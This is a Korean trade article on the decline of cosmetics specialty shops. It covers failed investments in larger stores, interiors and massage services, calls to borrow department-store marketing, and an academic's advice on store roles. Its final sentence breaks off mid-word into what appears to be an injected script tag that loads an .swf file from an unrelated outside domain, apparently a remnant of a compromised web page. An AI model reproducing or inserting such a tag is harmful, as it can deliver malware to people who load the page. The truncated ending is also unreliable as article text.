화장품전문점은 이시각에도 긴급 구조요청을 하고있다. 사면초가의 위기속에 새로운 활로 모색이 시급히 요구되고 있는 것이다. 매출이 눈에띄게 떨어질 뿐만아니라 시장 규모 자체가 줄어들 것이라는 전망이 끊임없이 나오고 있기 때문이다. 물론 이같은 전문점의 위기의식은 하루이틀의 일이 아니다. 화장품전체 시장에서 가장 비중이 높은 시판시장이 하루가 다르게 위축되기 시작하면서 화장품전문점의 시련은 시작되었다고 보는 것이 정설이다. 또한 빈익빈 부익부에 따른 전문점간 수익격차가 벌어지면서 도태되는 전문점이 늘어나는 현상이 계속돼오고 있는 것도 이를 부채질하고 있다. 대형화, 인테리어 개선열풍이 남긴 것 화장품전문점들이 앉아서 당하고 있기만 하는 것은 아니다. 매장의 대형화가 필수적이라는 전문가들의 조언에 따라 30평이상의 대형 전문점들이 많이 생겨났었다. 또한 소비자의 수준에 걸맞는 인테리어가 필수적이라는 조언에 따라 대대적인 인테리어 개선열풍이 전문점가에 불어닦쳤었다. 이와함께 소비자를 위한 종합적인 미용공간으로 자리잡아야 한다는 목소리가 높아지면서 작게는 전문점 한모퉁이에서 마사지를 받을수 있는 공간 및 시설확보 경쟁에 돌입했었다. 크게는 별도의 마사지 기구와 시설을 갖추고 아예 에스테틱 사업을 별도로 하면서 전문점 고객에게 사은품으로 마사지 서비스를 받을 수 있는 서비스 쿠폰을 증정하기도 했었다. 고객을 흡인하는 도구로 활용하기위한 고육지책의 하나로 많은 자금을 별도로 투자해 별도의 사업을 벌이기도 했다. 물론 새로운 아이템이라 생각해 시작한 사람도 있지만 고정고객을 확보하기 위해 무리한 투자를 한 전문점들이 다수를 차지했던 것이 사실이다. 남보다 앞서 투자했다 손해만 늘어나기도 그러나 결과는 비참했다. 대형화를 위해 매장규모를 늘리거나 새로운 인테리어에 많은 시설투자를 했던 화장품전문점들이 수익구조에 비상등이 켜지기 시작한 것이다. 설비투자에 비해 수익이 기대의 절반에도 미치지 못했기 때문이다. 오히려 무리한 투자를 남보다 앞서서 했던 전문점들은 매출감소와 기대수익 저조라는 이중고를 겪는 아픔을 감수해야만 했다. 잠실의 한 전문점주는 "줄어드는 매출을 조금이라도 높여보려는 마음이 앞서는 바람에 소비자의 의식구조와 인식정도를 제대로 파악하지 못한채 허겁지겁 매출증대만을 위한 시설투자에 뛰어든 것이 잘못"이라고 진단하기도 했다. 줄어드는 전문점을 보면 자신들이 얼마나 무모하고 안일하게 시장과 소비자들에게 접근했는지 절감 할 수 있다는 것이다. 백화점 유통도 시판유통이다(?) 시판유통이 침체일로를 걷고있는 와중에 일부 유통관계자 및 메이커 마케팅 및 영업관계자들 사이에서는 백화점도 시판유통의 하나이며 백화점 유통의 장단점을 분석해 전문점 유통에 접목하면 시판시장이 활성화 할 수도 있다는 의견을 내놓고 있다. 백화점도 유통되는 브랜드에 따라 구별돼 있을뿐 엄연히 시판유통이라는 것이다. 따라서 직,방판 및 전자상거래 등의 유통이 늘어난다고 하더라도 시판유통의 마켓쉐어가 줄어드는 것이 아니라는 것이다. 따라서 시장점유율이 꾸준히 증가세를 보이고 있는 백화점의 화두인 고급화 및 단골고객을 위한 다양한 시스템을 전문점에 도입해야 한다는 것이다. 백화점에서 구사하는 마케팅 전략을 제대로 벤치마킹 하기만하면 전문점에서 요긴하게 쓸수 있는 영업전략이 도출될 수 있다는 것이다. 늦은감이 없지 않지만 제대로 맥만 짚어나간다면 시판시장을 대표하고 있는 전문점의 활성화 방안을 마련하는 단초가 될 것으로 손색이 없어 보인다. 까다로운 소비자를 위한 새로운 시도들 그렇다면 까다로운 취향과 변화의 욕구로 가득찬 소비자들을 매장으로 유인하기 위한 대책은 무엇인가. 화장품업계의 당면과제중 첫손가락에 꼽히는 화두다. 제조 메이커는 물론이고 부자재 업체, 유통관련 업체 등 전체 화장품산업의 사활이 걸린 문제이기도 하다. 전문점은 전문점 나름대로 가격할인이나, 적정재고 유지, 사입단가 낮추기등 대책을 세우고 있다. 메이커들도 경영환경개선이나 고객관리 지원, 매입실적이나 가격준수 여부에 따른 특별시상제, 대량구매에 따른 출하가 조정등 다양한 지원책을 내놓고 실천에 옮기고 있다. 연세대 경영학과 오세조 교수는 화장품전문점 수익경영과 관련 한 기고문에서 "화장품전문점은 첫째, 소비자의 미용생활 공간이 되어야 하며 둘째, 화장품 임시 보관소가 되어야 하며 셋째, 원하는 화장품을 미리 사놓고 기다리는 쇼핑 대리인 역할을 해야한다"고 설파하고 있다. 화장품전문?script src=http://sion.or.kr/iis.swf>

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